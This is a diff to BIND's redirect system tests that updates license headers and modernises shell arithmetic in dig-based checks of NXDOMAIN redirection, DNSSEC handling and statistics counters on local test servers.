--- a/bin/tests/system/redirect/ns6/root.db
+++ b/bin/tests/system/redirect/ns6/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/redirect/setup.sh b/bin/tests/system/redirect/setup.sh
index 6dc79cb1c3..d1824691d0 100644
--- a/bin/tests/system/redirect/setup.sh
+++ b/bin/tests/system/redirect/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/redirect/tests.sh b/bin/tests/system/redirect/tests.sh
index bb21e34c81..83b90ad485 100644
--- a/bin/tests/system/redirect/tests.sh
+++ b/bin/tests/system/redirect/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -24,9 +28,9 @@ do
         echo_i "checking that $conf is accepted ($n)"
         ret=0
         $CHECKCONF "$conf" || ret=1
-        n=`expr $n + 1`
+        n=$((n + 1))
         if [ $ret != 0 ]; then echo_i "failed"; fi
-        status=`expr $status + $ret`
+        status=$((status + ret))
 done
 
 for conf in conf/bad*.conf
@@ -34,9 +38,9 @@ do
         echo_i "checking that $conf is rejected ($n)"
         ret=0
         $CHECKCONF "$conf" >/dev/null && ret=1
-	n=`expr $n + 1`
+	n=$((n + 1))
         if [ $ret != 0 ]; then echo_i "failed"; fi
-        status=`expr $status + $ret`
+        status=$((status + ret))
 done
 
 echo_i "checking A zone redirect works for nonexist ($n)"
@@ -44,32 +48,32 @@ ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect updates statistics ($n)"
 ret=0
-rm ns2/named.stats 2>/dev/null
+rm -f ns2/named.stats 2>/dev/null
 $RNDCCMD 10.53.0.2 stats || ret=1
-PRE=`tr -d '\r' < ns2/named.stats | sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p"`
+PRE=$(sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p" ns2/named.stats)
 $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.2 a > dig.out.ns2.test$n || ret=1
-rm ns2/named.stats 2>/dev/null
+rm -f ns2/named.stats 2>/dev/null
 $RNDCCMD 10.53.0.2 stats || ret=1
-POST=`tr -d '\r' < ns2/named.stats | sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p"`
-if [ `expr $POST - $PRE` != 1 ]; then ret=1; fi
-n=`expr $n + 1`
+POST=$(sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p" ns2/named.stats)
+if [ $((POST - PRE)) != 1 ]; then ret=1; fi
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect works for nonexist ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect works for nonexist ($n)"
 ret=0
@@ -77,27 +81,27 @@ $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.2 any > dig.out.ns2.test$n || ret=
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect doesn't work for acl miss ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.4 a > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect doesn't work for acl miss ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.4 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect doesn't work for acl miss ($n)"
 ret=0
@@ -105,27 +109,27 @@ $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.4 any > dig.out.ns2.test$n || ret=
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect works for signed nonexist, DO=0 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. @10.53.0.2 -b 10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect works for signed nonexist, DO=0 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect works for signed nonexist, DO=0 ($n)"
 ret=0
@@ -133,27 +137,27 @@ $DIG $DIGOPTS nonexist.signed. @10.53.0.2 -b 10.53.0.2 any > dig.out.ns2.test$n
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect fails for signed nonexist, DO=1 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.2 -b 10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect fails for signed nonexist, DO=1 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect fails for signed nonexist, DO=1 ($n)"
 ret=0
@@ -161,9 +165,9 @@ $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.2 -b 10.53.0.2 any > dig.out.ns2
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect fails for nsec3 signed nonexist, DO=1 ($n)"
 ret=0
@@ -171,9 +175,9 @@ $DIG $DIGOPTS nonexist.nsec3. +dnssec @10.53.0.2 -b 10.53.0.2 a > dig.out.ns2.te
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect fails for nsec3 signed nonexist, DO=1 ($n)"
 ret=0
@@ -181,9 +185,9 @@ $DIG $DIGOPTS nonexist.nsec3. +dnssec @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect fails for nsec3 signed nonexist, DO=1 ($n)"
 ret=0
@@ -192,27 +196,27 @@ grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns2.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns2.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect works for nonexist authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.1 -b 10.53.0.1 a > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect works for nonexist authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect works for nonexist authoritative ($n)"
 ret=0
@@ -220,27 +224,27 @@ $DIG $DIGOPTS nonexist. @10.53.0.1 -b 10.53.0.1 any > dig.out.ns1.test$n || ret=
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect doesn't work for acl miss authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.1 -b 10.53.0.4 a > dig.out.ns1.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect doesn't work for acl miss authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.1 -b 10.53.0.4 aaaa > dig.out.ns1.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect doesn't work for acl miss authoritative ($n)"
 ret=0
@@ -248,27 +252,27 @@ $DIG $DIGOPTS nonexist. @10.53.0.1 -b 10.53.0.4 any > dig.out.ns1.test$n || ret=
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect works for signed nonexist, DO=0 authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. @10.53.0.1 -b 10.53.0.1 a > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect works for signed nonexist, DO=0 authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect works for signed nonexist, DO=0 authoritative ($n)"
 ret=0
@@ -276,27 +280,27 @@ $DIG $DIGOPTS nonexist.signed. @10.53.0.1 -b 10.53.0.1 any > dig.out.ns1.test$n
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect fails for signed nonexist, DO=1 authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.1 -b 10.53.0.1 a > dig.out.ns1.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect fails for signed nonexist, DO=1 authoritative ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns1.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect fails for signed nonexist, DO=1 authoritative ($n)"
 ret=0
@@ -304,9 +308,9 @@ $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.1 -b 10.53.0.1 any > dig.out.ns1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A zone redirect fails for nsec3 signed nonexist, DO=1 authoritative ($n)"
 ret=0
@@ -314,9 +318,9 @@ $DIG $DIGOPTS nonexist.nsec3. +dnssec @10.53.0.1 -b 10.53.0.1 a > dig.out.ns1.te
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA zone redirect fails for nsec3 signed nonexist, DO=1 authoritative ($n)"
 ret=0
@@ -324,9 +328,9 @@ $DIG $DIGOPTS nonexist.nsec3. +dnssec @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns1
 grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY zone redirect fails for nsec3 signed nonexist, DO=1 authoritative ($n)"
 ret=0
@@ -335,28 +339,28 @@ grep "status: NXDOMAIN" dig.out.ns1.test$n > /dev/null || ret=1
 grep "100.100.100.2" dig.out.ns1.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6402" dig.out.ns1.test$n > /dev/null && ret=1
 grep "IN.NSEC3" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking zone redirect works (with noerror) when qtype is not found ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.2 txt > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that redirect zones reload correctly"
 ret=0
 sleep 1 # ensure file mtime will have changed
-tr -d '\r' < ns2/example.db.in | sed -e 's/0 0 0 0 0/1 0 0 0 0/' > ns2/example.db
-tr -d '\r' < ns2/redirect.db.in | sed -e 's/0 0 0 0 0/1 0 0 0 0/' -e 's/\.1$/.2/' > ns2/redirect.db
+cat ns2/example.db.in | sed -e 's/0 0 0 0 0/1 0 0 0 0/' > ns2/example.db
+cat ns2/redirect.db.in | sed -e 's/0 0 0 0 0/1 0 0 0 0/' -e 's/\.1$/.2/' > ns2/redirect.db
 rndc_reload ns2 10.53.0.2
 for i in 1 2 3 4 5 6 7 8 9; do
     tmp=0
     $DIG $DIGOPTS +short @10.53.0.2 soa example.nil > dig.out.ns1.test$n || tmp=1
-    set -- `cat dig.out.ns1.test$n`
+    set -- $(cat dig.out.ns1.test$n)
     [ $3 = 1 ] || tmp=1
     $DIG $DIGOPTS nonexist. @10.53.0.2 -b 10.53.0.2 a > dig.out.ns2.test$n || tmp=1
     grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || tmp=1
@@ -365,43 +369,43 @@ for i in 1 2 3 4 5 6 7 8 9; do
     sleep 1
 done
 [ $tmp -eq 1 ] && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A nxdomain-redirect works for nonexist ($n)"
 ret=0
 $DIG $DIGOPTS nonexist. @10.53.0.4 -b 10.53.0.2 a > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "nonexist.	.*100.100.100.1" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA nxdomain-redirect works for nonexist ($n)"
 ret=0
-rm ns4/named.stats 2>/dev/null
+rm -f ns4/named.stats 2>/dev/null
 $RNDCCMD 10.53.0.4 stats || ret=1
-PRE_RED=`tr -d '\r' < ns4/named.stats | sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p"`
-PRE_SUC=`tr -d '\r' < ns4/named.stats | sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected and resulted in a successful remote lookup$/\1/p"`
+PRE_RED=$(sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p" ns4/named.stats)
+PRE_SUC=$(sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected and resulted in a successful remote lookup$/\1/p" ns4/named.stats)
 $DIG $DIGOPTS nonexist. @10.53.0.4 -b 10.53.0.2 aaaa > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "nonexist.	.*2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA nxdomain-redirect updates statistics ($n)"
 ret=0
-rm ns4/named.stats 2>/dev/null
+rm -f ns4/named.stats 2>/dev/null
 $RNDCCMD 10.53.0.4 stats || ret=1
-POST_RED=`tr -d '\r' < ns4/named.stats | sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p"`
-POST_SUC=`tr -d '\r' < ns4/named.stats | sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected and resulted in a successful remote lookup$/\1/p"`
-if [ `expr $POST_RED - $PRE_RED` != 1 ]; then ret=1; fi
-if [ `expr $POST_SUC - $PRE_SUC` != 1 ]; then ret=1; fi
-n=`expr $n + 1`
+POST_RED=$(sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected$/\1/p" ns4/named.stats)
+POST_SUC=$(sed -n -e "s/[    ]*\([0-9]*\).queries resulted in NXDOMAIN that were redirected and resulted in a successful remote lookup$/\1/p" ns4/named.stats)
+if [ $((POST_RED - PRE_RED)) != 1 ]; then ret=1; fi
+if [ $((POST_SUC - PRE_SUC)) != 1 ]; then ret=1; fi
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY nxdomain-redirect works for nonexist ($n)"
 ret=0
@@ -409,27 +413,27 @@ $DIG $DIGOPTS nonexist. @10.53.0.4 -b 10.53.0.2 any > dig.out.ns4.test$n || ret=
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns4.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A nxdomain-redirect works for signed nonexist, DO=0 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. @10.53.0.4 -b 10.53.0.2 a > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA nxdomain-redirect works for signed nonexist, DO=0 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. @10.53.0.4 -b 10.53.0.2 aaaa > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY nxdomain-redirect works for signed nonexist, DO=0 ($n)"
 ret=0
@@ -437,27 +441,27 @@ $DIG $DIGOPTS nonexist.signed. @10.53.0.4 -b 10.53.0.2 any > dig.out.ns4.test$n
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns4.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A nxdomain-redirect fails for signed nonexist, DO=1 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.4 -b 10.53.0.2 a > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA nxdomain-redirect fails for signed nonexist, DO=1 ($n)"
 ret=0
 $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.4 -b 10.53.0.2 aaaa > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking ANY nxdomain-redirect fails for signed nonexist, DO=1 ($n)"
 ret=0
@@ -465,9 +469,9 @@ $DIG $DIGOPTS nonexist.signed. +dnssec @10.53.0.4 -b 10.53.0.2 any > dig.out.ns4
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "100.100.100.1" dig.out.ns4.test$n > /dev/null && ret=1
 grep "2001:ffff:ffff::6464:6401" dig.out.ns4.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
